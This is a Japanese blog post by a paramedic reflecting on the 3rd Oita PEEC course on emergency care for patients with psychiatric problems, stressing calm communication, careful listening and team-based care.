第3回大分PEECコースを受講しました!

こんにちは。北郷救急課の藤井です。

最近は九州地方で大雨の天気が続いています。

私は天気のせいでどんよりしてしまう気持ちを、元気のある音楽を聴いて晴らしています!皆さんも自分の好きな音楽でリフレッシュしてみてください!

また足元が悪いので思わぬ怪我をしたり、風邪を引かないようお過ごしください。

 

さて、今回私は79()に大分県の大分駅前にありますホルトホール大分にて、『第3回大分PEECコース』を受講させていただきました。

このコースでは、精神科的問題を有する救急患者に対し、標準的な精神科医療を提供することを目的とし、様々な症例の中で病院前・病院内・退院後にどのような対応ができるかをディスカッション形式で学びます。

色々な職種の受講生やインストラクターの方がいらっしゃるので、ひとつの症例に対して多くの視点からの意見を聞くことができました。

 

私たち救急救命士はどの医療機関よりも最初に患者さんやご家族と接し、現場の状況を確認できます。

だからこそ、助けたいという気持ちを理解してもらえるような声かけや対応の仕方が信頼関係へと繋がり、今後の治療に結びつく大切な役割だと思います。

精神疾患の患者さんへのコミュニケーションは、第一声や話す速度、声のトーン、目線、態度、距離感などで決まります。

そして患者さんの言葉にはしっかり耳を傾け、会話の中ではキーワードとなる必要な情報を聴取していくことも重要です。

 

病院前ではできることが限られていますし現場では何があるか分からないので、病態を鑑別し見逃してはいけない疾患がないかを観察します。

ですがこの精神科医療に関してはそれだけではありません。

話し方ひとつで気持ちが落ち着く患者さんやそのご家族がいるように、救急救命士の行動が患者さんとご家族を救う第一歩であることを再認識しました。

そして病院では入院中や退院後のことを親身になって考えてくれるスタッフさんが待っています。

これこそチーム医療です。

各機関の現場はそれぞれ違いますが、それぞれが信頼しあい、共通の気持ちを持って命を繋げることで医療は成り立つのだと思います。

 

私自身も救急救命士という資格に誇りを持ち、患者さんやご家族、関係機関の方に信頼していただけるような行動と学習、色々なことへの挑戦をし続けたいです。

そして今後も更に多くの専門分野の勉強をしていきたいと思います!

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